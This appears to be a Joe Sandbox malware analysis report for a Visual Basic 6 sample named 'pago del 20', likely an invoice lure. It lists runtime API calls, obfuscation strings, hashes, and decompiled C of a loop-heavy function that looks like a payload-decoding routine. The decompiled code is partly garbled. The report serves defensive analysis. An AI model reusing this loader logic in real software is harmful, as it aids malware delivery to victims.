__vbaObjSet.MSVBVM60(?,00000000), ref: 00422757
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F290,00000160), ref: 004227A1
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 004227C0
#696.MSVBVM60(chiropodous,?,?,?,?,?,?,?,?,?,004012B6), ref: 004227CD
__vbaNew2.MSVBVM60(0040D8B0,00427010,chiropodous,?,?,?,?,?,?,?,?,?,004012B6), ref: 004227EC
__vbaObjSet.MSVBVM60(?,00000000), ref: 00422825
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F280,00000148), ref: 0042286F
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 0042288E
__vbaStrVarMove.MSVBVM60(00000000,?,?,?,chiropodous,?,?,?,?,?,?,?,?,?,004012B6), ref: 00422897
__vbaStrMove.MSVBVM60(00000000,?,?,?,chiropodous,?,?,?,?,?,?,?,?,?,004012B6), ref: 004228A1
#696.MSVBVM60(00000000,00000000,?,?,?,chiropodous,?,?,?,?,?,?,?,?,?,004012B6), ref: 004228A7
__vbaNew2.MSVBVM60(0040D8B0,00427010,00000000,00000000,?,?,?,chiropodous), ref: 004228C6
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 004228FF
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F280,00000048), ref: 00422943
__vbaI4Var.MSVBVM60(?), ref: 00422964
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 004229AE
__vbaFreeObjList.MSVBVM60(00000005,?,?,?,00000000,?,?,00000000,00000000,?,?,?,chiropodous), ref: 004229CC
__vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,?,chiropodous), ref: 004229DE
__vbaNew2.MSVBVM60(0040D8B0,00427010,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 004229F9
__vbaObjSet.MSVBVM60(?,00000000), ref: 00422A32
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F280,00000108), ref: 00422A7C
#581.MSVBVM60(?), ref: 00422A93
__vbaVarDup.MSVBVM60(?), ref: 00422AB8
#606.MSVBVM60(0000009B,?,?), ref: 00422AC6
__vbaStrMove.MSVBVM60(0000009B,?,?), ref: 00422AD0
__vbaStrCopy.MSVBVM60(0000009B,?,?), ref: 00422ADD
__vbaStrMove.MSVBVM60(0000009B,?,?), ref: 00422AF8
__vbaStrCopy.MSVBVM60(0000009B,?,?), ref: 00422B05
__vbaFpI4.MSVBVM60(?,000030F5,?,0000009B,?,?), ref: 00422B1D
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00422B4B
__vbaFreeObj.MSVBVM60 ref: 00422B56
__vbaFreeVar.MSVBVM60 ref: 00422B5E
__vbaNew2.MSVBVM60(0040D8B0,00427010), ref: 00422B76
__vbaObjSet.MSVBVM60(?,00000000), ref: 00422BAF
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F310,00000158), ref: 00422BF9
__vbaNew2.MSVBVM60(0040D8B0,00427010), ref: 00422C20
__vbaObjSet.MSVBVM60(?,00000000), ref: 00422C59
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F280,00000060), ref: 00422CA0
__vbaStrCopy.MSVBVM60(00000000,?,0040F280,00000060), ref: 00422CBC
__vbaStrCopy.MSVBVM60(00000000,?,0040F280,00000060), ref: 00422CC9
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00422D15
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00422D27
__vbaNew2.MSVBVM60(0040D8B0,00427010), ref: 00422D42
__vbaObjSet.MSVBVM60(?,00000000), ref: 00422D7B
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F270,000000E8), ref: 00422DC8
__vbaNew2.MSVBVM60(0040D8B0,00427010), ref: 00422DEF
__vbaObjSet.MSVBVM60(?,00000000), ref: 00422E28
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F310,000000A0), ref: 00422E72
__vbaNew2.MSVBVM60(0040D8B0,00427010), ref: 00422E99
__vbaObjSet.MSVBVM60(?,00000000), ref: 00422ED2
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F280,00000048), ref: 00422F16
#696.MSVBVM60(?), ref: 00422F2D
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00422F86
__vbaFreeObjList.MSVBVM60(00000003,?,?,?), ref: 00422F9C
__vbaHresultCheckObj.MSVBVM60(00000000,004011A0,0040EF50,000006F8), ref: 00422FD4
_adj_fdiv_m64.MSVBVM60 ref: 0042300B
_adj_fdiv_m64.MSVBVM60 ref: 0042302D
#705.MSVBVM60(00000005,00000000), ref: 0042304C
__vbaStrMove.MSVBVM60(00000005,00000000), ref: 00423056
__vbaVarDup.MSVBVM60(00000005,00000000), ref: 00423078
#607.MSVBVM60(?,000000BC,?,00000005,00000000), ref: 0042308A
__vbaStrVarVal.MSVBVM60(?,?,000A4E83,?,?,000000BC,?,00000005,00000000), ref: 004230B9
__vbaStrMove.MSVBVM60(00006741,00000000,?,?,000A4E83,?,?,000000BC,?,00000005,00000000), ref: 004230CF
__vbaFreeStrList.MSVBVM60(00000003,?,?,00000000), ref: 004230FF
__vbaFreeVarList.MSVBVM60(00000003,00000005,?,?), ref: 00423115
__vbaNew2.MSVBVM60(0040D8B0,00427010), ref: 00423130
__vbaObjSet.MSVBVM60(?,00000000), ref: 00423169
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,0040F290,00000190), ref: 004231B6
__vbaNew2.MSVBVM60(0040D8B0,00427010), ref: 004231DD
__vbaObjSet.MSVBVM60(?,00000000), ref: 00423216
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F280,00000050), ref: 0042325A
__vbaVarDup.MSVBVM60(00000000,?,0040F280,00000050), ref: 00423288
#518.MSVBVM60(?,00000005), ref: 00423295
__vbaStrVarMove.MSVBVM60(?,?,00000005), ref: 0042329E
__vbaStrMove.MSVBVM60(?,?,00000005), ref: 004232A8
__vbaStrCopy.MSVBVM60(?,?,00000005), ref: 004232B5
__vbaStrMove.MSVBVM60(?,?,00000005), ref: 004232D0
__vbaHresultCheckObj.MSVBVM60(00000000,004011A0,0040EF50,000006FC), ref: 0042331C
__vbaFreeStrList.MSVBVM60(00000003,?,00000000,?), ref: 0042333E
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00423350
__vbaFreeVarList.MSVBVM60(00000002,00000005,?), ref: 00423362
__vbaVarDup.MSVBVM60 ref: 00423384
#606.MSVBVM60(00000065,00000005), ref: 0042338F
__vbaStrMove.MSVBVM60(00000065,00000005), ref: 00423399
__vbaVarDup.MSVBVM60(00000065,00000005), ref: 004233BB
#606.MSVBVM60(00000085,?,00000065,00000005), ref: 004233C9
__vbaStrMove.MSVBVM60(00000085,?,00000065,00000005), ref: 004233D3
__vbaStrMove.MSVBVM60(00000085,?,00000065,00000005), ref: 004233EE
__vbaStrCopy.MSVBVM60(00000085,?,00000065,00000005), ref: 004233FB
__vbaStrMove.MSVBVM60(00000085,?,00000065,00000005), ref: 00423416
__vbaHresultCheckObj.MSVBVM60(00000000,004011A0,0040EF50,00000700), ref: 00423463
__vbaFreeStrList.MSVBVM60(00000005,00000000,?,00000000,00000000,00000000), ref: 00423498
__vbaFreeVarList.MSVBVM60(00000002,00000005,?), ref: 004234AA
__vbaNew2.MSVBVM60(0040D8B0,00427010), ref: 004234C5
__vbaObjSet.MSVBVM60(?,00000000), ref: 004234FE
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,0040F280,000001E0), ref: 00423548
__vbaNew2.MSVBVM60(0040D8B0,00427010), ref: 0042356F
__vbaObjSet.MSVBVM60(?,00000000), ref: 004235A8
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F270,00000048), ref: 004235EC
__vbaStrMove.MSVBVM60(00000000,?,0040F270,00000048), ref: 00423616
__vbaStrCopy.MSVBVM60(00000000,?,0040F270,00000048), ref: 00423623
__vbaLenBstrB.MSVBVM60(00000000,00000000,?), ref: 00423636
__vbaFreeStrList.MSVBVM60(00000003,00000000,00000000,00000000), ref: 00423668
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0042367A
__vbaHresultCheckObj.MSVBVM60(00000000,004011A0,0040EF50,00000704), ref: 004236C0

Strings

Chillnessjomfrudo7, xrefs: 00422AFD
kameravinkler, xrefs: 00422AD5
elderlies, xrefs: 00422CB4
STUDIEKOMBINATIONER, xrefs: 00422CC1
Acerbically, xrefs: 004233F3
Lappegrejer9, xrefs: 0042342A
Gennemfartens9, xrefs: 004232AD
PRVEBALLONENS, xrefs: 0042326E
chiropodous, xrefs: 004227C8
Ag, xrefs: 0042308F
Skin, xrefs: 0042361B

Memory Dump Source

Source File: 00000000.00000002.371024817.0000000000411000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.370978740.0000000000400000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.370992371.0000000000401000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371046740.0000000000427000.00000004.00020000.sdmpDownload File
Associated: 00000000.00000002.371056590.0000000000429000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.371063777.000000000042D000.00000002.00020000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pago del 20.jbxd

Yara matches

Similarity

API ID: __vba$Free$CheckHresult$List$MoveNew2$Copy$#606#696$CallChkstkLate_adj_fdiv_m64$#518#581#607#648#705Bstr
String ID: Acerbically$Ag$Chillnessjomfrudo7$Gennemfartens9$Lappegrejer9$PRVEBALLONENS$STUDIEKOMBINATIONER$Skin$chiropodous$elderlies$kameravinkler
API String ID: 1001071889-1278825019
Opcode ID: 0bb195df1e8e33a82ee30010fe432bb771f223b9d4d0adbb448e01f7466cb82c
Instruction ID: 67be08e01c0254c34f609539694688f05941e39774cbd212714354212a66a300
Opcode Fuzzy Hash: 0bb195df1e8e33a82ee30010fe432bb771f223b9d4d0adbb448e01f7466cb82c
Instruction Fuzzy Hash: 72C21771900228AFDB20DF90CC45FDDB7B9BF08304F5085AAE509B72A1DB795A89DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00424AED Relevance: 110.6, APIs: 59, Strings: 4, Instructions: 400
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 54%

			E00424AED(void* __ebx, void* __edi, void* __esi, signed int __fp0, intOrPtr* _a4, void* _a12, intOrPtr _a1301137477) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				short _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				char _v48;
				signed int _v52;
				signed int _v56;
				char _v60;
				char _v64;
				signed int _v72;
				intOrPtr _v76;
				signed int _v80;
				char _v84;
				signed int _v88;
				signed int _v92;
				char _v96;
				signed int _v100;
				char* _v104;
				intOrPtr _v108;
				signed int _v112;
				char _v116;
				signed int _v120;
				char _v132;
				signed int _v136;
				char _v144;
				void* _v148;
				void* _v152;
				void* _v156;
				char* _v160;
				char _v164;
				signed int _v168;
				char* _v172;
				signed int _v176;
				char _v180;
				char _v184;
				void* _v188;
				void* _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				void* _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				char _v264;
				char* _v288;
				intOrPtr _v292;
				signed int _v296;
				char _v312;
				signed int _v320;
				char _v328;
				short _v340;
				char _v344;
				intOrPtr* _v436;
				intOrPtr _v448;
				intOrPtr _v452;
				intOrPtr _v456;
				signed int _v504;
				char* _t510;
				signed int _t514;
				char* _t516;
				signed int* _t518;
				signed int* _t523;
				short _t524;
				char* _t529;
				signed int _t533;
				char* _t537;
				signed int _t541;
				char* _t548;
				signed int _t552;
				signed int _t553;
				char* _t554;
				char* _t563;
				signed int _t565;
				signed int* _t570;
				char* _t575;
				short _t576;
				signed int _t584;
				signed int _t588;
				signed int _t595;
				signed int* _t602;
				signed int _t608;
				signed int _t613;
				signed int _t615;
				signed int _t620;
				signed int _t623;
				char* _t627;
				signed int* _t632;
				signed int _t636;
				char** _t642;
				signed int _t643;
				signed int* _t651;
				signed int _t655;
				signed int _t664;
				signed int _t670;
				signed int _t676;
				signed int _t681;
				intOrPtr _t684;
				signed int _t685;
				signed int _t687;
				signed int _t695;
				signed int _t698;
				short _t699;
				char* _t708;
				short _t709;
				signed int* _t715;
				short _t716;
				void* _t721;
				signed int _t746;
				char* _t756;
				signed int* _t769;
				void* _t788;
				void* _t822;
				intOrPtr _t823;
				intOrPtr _t824;
				signed int* _t827;
				signed int* _t828;
				signed int* _t829;
				void* _t830;
				void* _t831;
				intOrPtr _t832;
				intOrPtr _t833;
				void* _t835;
				char _t836;
				void* _t837;
				void* _t841;
				intOrPtr _t842;
				void* _t844;
				void* _t845;
				intOrPtr _t846;
				signed int _t860;

				_t860 = __fp0;
				_t721 = __ebx;
				_t831 = _t835;
				_t836 = _t835 - 0xc;
				 *[fs:0x0] = _t836;
				L004012B0();
				_v16 = _t836;
				_v12 = 0x401270;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012b6, _t830);
				L0040148A();
				_v180 = 0x6963;
				_v176 = 1;
				_v40 = _v40 & 0x00000000;
				while(_v40 <= _v180) {
					_push(0);
					_push(L"Scripting.FileSystemObject");
					_push( &_v80);
					L00401412();
					_t518 =  &_v80;
					_push(_t518);
					L00401418();
					_push(_t518);
					_push(_a4 + 0x64);
					L0040141E();
					L004014C0();
					_v104 = L"REVALIDERINGSVRKSTEDER";
					_v112 = 8;
					_v136 = _v136 | 0xffffffff;
					_v144 = 0x8002;
					_push(0x10);
					L004012B0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_push(1);
					_push(L"FolderExists");
					_t29 = _a4 + 0x64; // 0x103c25ff
					_push( *_t29);
					_t523 =  &_v80;
					_push(_t523); // executed
					L0040140C(); // executed
					_t837 = _t836 + 0x20;
					_push(_t523);
					_t524 =  &_v144;
					_push(_t524);
					L004013AC();
					_v156 = _t524;
					L004014C0();
					if(_v156 != 0) {
						_v72 = 0x80020004;
						_v80 = 0xa;
						_t716 =  &_v80;
						_push(_t716);
						L004014D8();
						 *((short*)(_a4 + 0x68)) = _t716;
						L004014C0();
						_v104 =  &_v36;
						_v112 = 0x6011;
						_push(0);
						_push(0x40);
						_push( &_v112);
						_push( &_v80);
						L004013A6();
						_push( &_v80);
						L004014AE();
						L004014D2();
						L0040148A();
						L0040142A();
						L004014C0();
					}
					if( *0x427010 != 0) {
						_v196 = 0x427010;
					} else {
						_push(0x427010);
						_push(0x40d8b0);
						L004014EA();
						_v196 = 0x427010;
					}
					_t529 =  &_v60;
					L004014F0();
					_v156 = _t529;
					_v104 = 1;
					_v112 = 2;
					L004012B0();
					_t827 =  &_v112;
					_t822 = _t837;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t533 =  *((intOrPtr*)( *_v156 + 0x1d0))(_v156, 0x10, _t529,  *((intOrPtr*)( *((intOrPtr*)( *_v196)) + 0x308))( *_v196));
					asm("fclex");
					_v160 = _t533;
					if(_v160 >= 0) {
						_v200 = _v200 & 0x00000000;
					} else {
						_push(0x1d0);
						_push(0x40f280);
						_push(_v156);
						_push(_v160);
						L004014E4();
						_v200 = _t533;
					}
					L004014DE();
					if( *0x427010 != 0) {
						_v204 = 0x427010;
					} else {
						_push(0x427010);
						_push(0x40d8b0);
						L004014EA();
						_v204 = 0x427010;
					}
					_t537 =  &_v60;
					L004014F0();
					_v156 = _t537;
					_t541 =  *((intOrPtr*)( *_v156 + 0x168))(_v156,  &_v148, _t537,  *((intOrPtr*)( *((intOrPtr*)( *_v204)) + 0x30c))( *_v204));
					asm("fclex");
					_v160 = _t541;
					if(_v160 >= 0) {
						_v208 = _v208 & 0x00000000;
					} else {
						_push(0x168);
						_push(0x40f310);
						_push(_v156);
						_push(_v160);
						L004014E4();
						_v208 = _t541;
					}
					_v72 = _v148;
					_v80 = 2;
					_push( &_v80);
					L004013A0();
					L004014D2();
					_v192 = _v56;
					_v56 = _v56 & 0x00000000;
					if( *0x427010 != 0) {
						_v212 = 0x427010;
					} else {
						_push(0x427010);
						_push(0x40d8b0);
						L004014EA();
						_v212 = 0x427010;
					}
					_t548 =  &_v64;
					L004014F0();
					_v164 = _t548;
					_t552 =  *((intOrPtr*)( *_v164 + 0x68))(_v164,  &_v152, _t548,  *((intOrPtr*)( *((intOrPtr*)( *_v212)) + 0x2fc))( *_v212));
					asm("fclex");
					_v168 = _t552;
					if(_v168 >= 0) {
						_v216 = _v216 & 0x00000000;
					} else {
						_push(0x68);
						_push(0x40f280);
						_push(_v164);
						_push(_v168);
						L004014E4();
						_v216 = _t552;
					}
					_t553 = _v152;
					_v88 = _t553;
					_v96 = 3;
					_push(0x74);
					L004014D2();
					_push(_t553);
					L00401394();
					L004014D2();
					_push(_t553);
					_t554 =  &_v96;
					_push(_t554);
					L0040138E();
					L004014D2();
					_push(_t554);
					L0040139A();
					_t746 =  ~(0 | _t554 < 0x00000000);
					_v172 = _t746;
					_push( &_v56);
					_push( &_v52);
					_push( &_v48);
					_push( &_v44);
					_push(4);
					L004014CC();
					_push( &_v64);
					_push( &_v60);
					_push(2);
					L004014C6();
					_push( &_v96);
					_push( &_v80);
					_push(2);
					L004014A2();
					_t836 = _t837 + 0x2c;
					_t563 = _v172;
					if(_t563 != 0) {
						_push(0xf4);
						L0040137C();
						L004014D2();
						_push(_t563);
						L00401382();
						_push(_t563);
						L00401388();
						L004014D2();
						_t788 = _a4 + 0x70;
						L0040148A();
						_push( &_v48);
						_t715 =  &_v44;
						_push(_t715);
						_push(2);
						L004014CC();
						_t836 = _t836 + 0xc;
						_push(0xa6);
						_push(0xf9);
						_push(0x2b);
						L004013EE();
						_v220 = _t715;
						asm("fild dword [ebp-0xd8]");
						_v228 = _t860;
						_t860 = _v228;
						_push(_t788);
						_push(_t788);
						_v168 = _t860;
						L00401370();
						_push(_t788);
						_push(_t788);
						_v176 = _t860;
						L00401376();
						L004014D2();
						L0040148A();
						_t746 =  &_v44;
						L0040142A();
					}
					_t565 = _v40 + _v176;
					if(_t565 < 0) {
						L004013F4();
						_push(_t831);
						_t832 = _t836;
						_push(_t746);
						_push(_t746);
						_push(0x4012b6);
						_push( *[fs:0x0]);
						 *[fs:0x0] = _t836;
						L004012B0();
						_push(_t721);
						_push(_t827);
						_push(_t822);
						_v148 = _t836;
						_v144 = 0x401280;
						_push(0x11);
						_push(0x40f5e4);
						_push( &_v196);
						L0040136A();
						_push(L"ARAWAK");
						L00401430();
						L004014D2();
						_push(0);
						_push(L"Scripting.FileSystemObject");
						_push( &_v232);
						L00401412();
						_t570 =  &_v232;
						_push(_t570);
						L00401418();
						_push(_t570);
						_push( &_v208);
						L0040141E();
						L004014C0();
						_v288 = L"Nonequilibrium";
						_v296 = 8;
						L00401490();
						_push(0x89);
						_push( &_v232);
						_push( &_v248);
						L00401364();
						_v320 = _v320 | 0xffffffff;
						_v328 = 0x8002;
						_push(0x10);
						L004012B0();
						_t828 =  &_v248;
						_t823 = _t836;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_push(1);
						_push(L"FolderExists");
						_push(_v208);
						_t575 =  &_v264;
						_push(_t575);
						L0040140C();
						_push(_t575);
						_t576 =  &_v328;
						_push(_t576);
						L004013AC();
						_v340 = _t576;
						_push( &_v264);
						_push( &_v248);
						_push( &_v232);
						_push(3);
						L004014A2();
						_t841 = _t836 + 0x30;
						if(_v340 != 0) {
							_v92 = 0x80020004;
							_v100 = 0xa;
							_t709 =  &_v100;
							_push(_t709);
							L004014D8();
							_v36 = _t709;
							L004014C0();
							_v156 =  &_v72;
							_v164 = 0x6011;
							_push(0);
							_push(0x40);
							_push( &_v164);
							_push( &_v100);
							L004013A6();
							_push( &_v100);
							L004014AE();
							L004014D2();
							L0040148A();
							L0040142A();
							L004014C0();
						}
						if( *0x427010 != 0) {
							_v240 = 0x427010;
						} else {
							_push(0x427010);
							_push(0x40d8b0);
							L004014EA();
							_v240 = 0x427010;
						}
						_t584 =  &_v84;
						L004014F0();
						_v208 = _t584;
						_t588 =  *((intOrPtr*)( *_v208 + 0x170))(_v208,  &_v80, _t584,  *((intOrPtr*)( *((intOrPtr*)( *_v240)) + 0x300))( *_v240));
						asm("fclex");
						_v212 = _t588;
						if(_v212 >= 0) {
							_v244 = _v244 & 0x00000000;
						} else {
							_push(0x170);
							_push(0x40f280);
							_push(_v208);
							_push(_v212);
							L004014E4();
							_v244 = _t588;
						}
						_v108 = 0x86;
						_v116 = 2;
						_v236 = _v80;
						_v80 = _v80 & 0x00000000;
						_v92 = _v236;
						_v100 = 8;
						_push( &_v116);
						_push(0x40);
						_push( &_v100);
						_push( &_v132);
						L0040135E();
						_v172 = L"Isoleringernes";
						_v180 = 0x8008;
						_push( &_v132);
						_t595 =  &_v180;
						_push(_t595);
						L004013BE();
						_v216 = _t595;
						L004014DE();
						_push( &_v132);
						_push( &_v116);
						_push( &_v100);
						_push(3);
						L004014A2();
						_t842 = _t841 + 0x10;
						if(_v216 == 0) {
							L63:
							_v28 = 0xb56f7703;
							_push(0x42565a);
							L0040142A();
							_v204 =  &_v64;
							_push( &_v204);
							_push(0);
							L00401424();
							_t602 =  &_v72;
							_push(_t602);
							_push(0);
							L00401424();
							L004014DE();
							return _t602;
						} else {
							if( *0x427918 != 0) {
								_v248 = 0x427918;
							} else {
								_push(0x427918);
								_push(0x40f514);
								L004014EA();
								_v248 = 0x427918;
							}
							_v208 =  *_v248;
							_t608 =  *((intOrPtr*)( *_v208 + 0x14))(_v208,  &_v84);
							asm("fclex");
							_v212 = _t608;
							if(_v212 >= 0) {
								_v252 = _v252 & 0x00000000;
							} else {
								_push(0x14);
								_push(0x40f504);
								_push(_v208);
								_push(_v212);
								L004014E4();
								_v252 = _t608;
							}
							_v216 = _v84;
							_t613 =  *((intOrPtr*)( *_v216 + 0x108))(_v216,  &_v200);
							asm("fclex");
							_v220 = _t613;
							if(_v220 >= 0) {
								_v256 = _v256 & 0x00000000;
							} else {
								_push(0x108);
								_push(0x40f524);
								_push(_v216);
								_push(_v220);
								L004014E4();
								_v256 = _t613;
							}
							_v32 = _v200;
							_t756 =  &_v84;
							L004014DE();
							_t615 =  &_v64;
							_push(_t615);
							_push(1);
							L00401358();
							_v228 = _t615;
							_v224 = 1;
							 *(_v0 + 0x7c) =  *(_v0 + 0x7c) & 0x00000000;
							while( *(_v0 + 0x7c) <= _v228) {
								_t620 =  *(_v0 + 0x7c);
								_v208 = _t620;
								if(_v208 >= 0xd1) {
									L00401352();
									_v260 = _t620;
								} else {
									_v260 = _v260 & 0x00000000;
								}
								_t623 =  *(_v0 + 0x7c) + 0x88;
								if(_t623 < 0) {
									L65:
									L004013F4();
									_push(_t832);
									_t833 = _t842;
									_push(_t756);
									_push(_t756);
									_push(0x4012b6);
									_push( *[fs:0x0]);
									 *[fs:0x0] = _t842;
									L004012B0();
									_push(_t721);
									_push(_t828);
									_push(_t823);
									_v292 = _t842;
									_v288 = 0x401290;
									_push(0);
									_push(L"Scripting.FileSystemObject");
									_push( &_v344);
									L00401412();
									_t627 =  &_v344;
									_push(_t627);
									L00401418();
									_push(_t627);
									_push( &_v312);
									L0040141E();
									L004014C0();
									if( *0x427010 != 0) {
										_v228 = 0x427010;
									} else {
										_push(0x427010);
										_push(0x40d8b0);
										L004014EA();
										_v228 = 0x427010;
									}
									_t632 =  &_v56;
									L004014F0();
									_v192 = _t632;
									_t636 =  *((intOrPtr*)( *_v192 + 0x108))(_v192,  &_v52, _t632,  *((intOrPtr*)( *((intOrPtr*)( *_v228)) + 0x304))( *_v228));
									asm("fclex");
									_v196 = _t636;
									if(_v196 >= 0) {
										_v232 = _v232 & 0x00000000;
									} else {
										_push(0x108);
										_push(0x40f280);
										_push(_v192);
										_push(_v196);
										L004014E4();
										_v232 = _t636;
									}
									_v220 = _v52;
									_v52 = _v52 & 0x00000000;
									_v64 = _v220;
									_v72 = 8;
									_push(0xce);
									_push( &_v72);
									_push( &_v88);
									L00401346();
									_v176 = _v176 | 0xffffffff;
									_v184 = 0x8002;
									_push(0x10);
									L004012B0();
									_t829 =  &_v88;
									_t824 = _t842;
									asm("movsd");
									asm("movsd");
									asm("movsd");
									asm("movsd");
									_push(1);
									_push(L"FolderExists");
									_push(_v40);
									_t642 =  &_v104;
									_push(_t642);
									L0040140C();
									_push(_t642);
									_t643 =  &_v184;
									_push(_t643);
									L004013AC();
									_v200 = _t643;
									L004014DE();
									_push( &_v104);
									_push( &_v88);
									_push( &_v72);
									_push(3);
									L004014A2();
									_t844 = _t842 + 0x30;
									if(_v200 != 0) {
										_v64 = 0x80020004;
										_v72 = 0xa;
										_t699 =  &_v72;
										_push(_t699);
										L004014D8();
										_v36 = _t699;
										L004014C0();
										_v160 = _v4 + 0x80;
										_v168 = 0x6011;
										_push(0);
										_push(0x40);
										_push( &_v168);
										_push( &_v72);
										L004013A6();
										_push( &_v72);
										L004014AE();
										L004014D2();
										L004014C0();
									}
									if( *0x427010 != 0) {
										_v236 = 0x427010;
									} else {
										_push(0x427010);
										_push(0x40d8b0);
										L004014EA();
										_v236 = 0x427010;
									}
									_t651 =  &_v56;
									L004014F0();
									_v192 = _t651;
									_t655 =  *((intOrPtr*)( *_v192 + 0x170))(_v192,  &_v52, _t651,  *((intOrPtr*)( *((intOrPtr*)( *_v236)) + 0x304))( *_v236));
									asm("fclex");
									_v196 = _t655;
									if(_v196 >= 0) {
										_v240 = _v240 & 0x00000000;
									} else {
										_push(0x170);
										_push(0x40f280);
										_push(_v192);
										_push(_v196);
										L004014E4();
										_v240 = _t655;
									}
									_v80 = 0x2c;
									_v88 = 2;
									_v160 = L"xanthocone";
									_v168 = 8;
									L00401490();
									_push( &_v88);
									_push(0x1c);
									_push( &_v72);
									_push( &_v104);
									L0040135E();
									_v224 = _v52;
									_v52 = _v52 & 0x00000000;
									_v112 = _v224;
									_v120 = 8;
									_push(0x7c);
									_push( &_v120);
									_push( &_v136);
									L00401364();
									_push( &_v104);
									_t664 =  &_v136;
									_push(_t664);
									L004013BE();
									_v200 = _t664;
									L004014DE();
									_push( &_v136);
									_push( &_v104);
									_push( &_v120);
									_push( &_v88);
									_push( &_v72);
									_push(5);
									L004014A2();
									_t845 = _t844 + 0x18;
									_t670 = _v200;
									if(_t670 != 0) {
										if( *0x427918 != 0) {
											_v244 = 0x427918;
										} else {
											_push(0x427918);
											_push(0x40f514);
											L004014EA();
											_v244 = 0x427918;
										}
										_v192 =  *_v244;
										_t676 =  *((intOrPtr*)( *_v192 + 0x14))(_v192,  &_v56);
										asm("fclex");
										_v196 = _t676;
										if(_v196 >= 0) {
											_v248 = _v248 & 0x00000000;
										} else {
											_push(0x14);
											_push(0x40f504);
											_push(_v192);
											_push(_v196);
											L004014E4();
											_v248 = _t676;
										}
										_v200 = _v56;
										_t681 =  *((intOrPtr*)( *_v200 + 0x108))(_v200,  &_v188);
										asm("fclex");
										_v204 = _t681;
										if(_v204 >= 0) {
											_v252 = _v252 & 0x00000000;
										} else {
											_push(0x108);
											_push(0x40f524);
											_push(_v200);
											_push(_v204);
											L004014E4();
											_v252 = _t681;
										}
										_v32 = _v188;
										_t769 =  &_v56;
										L004014DE();
										_t684 = _v4 + 0x88;
										_push(_t684);
										_push(1);
										L00401358();
										_v212 = _t684;
										_v208 = 1;
										_v44 = _v44 & 0x00000000;
										while(1) {
											_t670 = _v44;
											if(_t670 > _v212) {
												goto L99;
											}
											_t685 = _v44;
											_v192 = _t685;
											if(_v192 >= 0xc1) {
												L00401352();
												_v256 = _t685;
											} else {
												_v256 = _v256 & 0x00000000;
											}
											_t687 = _v44 + 0x68;
											if(_t687 < 0) {
												L101:
												L004013F4();
												_t846 = _t845 - 0xc;
												 *[fs:0x0] = _t846;
												L004012B0();
												_v456 = _t846;
												_v452 = 0x4012a0;
												_v448 = 0;
												 *((intOrPtr*)( *_v436 + 4))(_v436, _t824, _t829, _t721, 0x34,  *[fs:0x0], 0x4012b6, _t833);
												_t695 =  *((intOrPtr*)( *_v436 + 0x2b4))(_v436);
												asm("fclex");
												_v504 = _t695;
												if(_v504 >= 0) {
													_v88 = _v88 & 0x00000000;
												} else {
													_push(0x2b4);
													_push(0x40ef20);
													_push(_v8);
													_push(_v76);
													L004014E4();
													_v88 = _t695;
												}
												_v64 = 0x553;
												_push(_t829);
												E00411CB2();
												_a1301137477 = _a1301137477 + _t769;
												asm("fsubr st0, st0");
												asm("invalid");
												asm("std");
												goto [far dword [eax-0x78];
											}
											asm("cdq");
											L0040134C();
											_t769 =  *((intOrPtr*)(_v4 + 0x94));
											 *((char*)(_t769 + _v192)) = _t687 / 0xff;
											_t698 = _v44 + _v208;
											if(_t698 < 0) {
												goto L101;
											}
											_v44 = _t698;
										}
									}
									L99:
									_push(0x425bd2);
									L004014DE();
									L0040142A();
									return _t670;
								} else {
									asm("cdq");
									L0040134C();
									_t756 = _v52 + _v208;
									 *_t756 = _t623 / 0xff;
									_t708 =  &(_v224[ *(_v0 + 0x7c)]);
									if(_t708 < 0) {
										goto L65;
									} else {
										_t756 = _v0;
										 *(_t756 + 0x7c) = _t708;
										continue;
									}
								}
								goto L105;
							}
							goto L63;
						}
					} else {
						_v40 = _t565;
						continue;
					}
					L105:
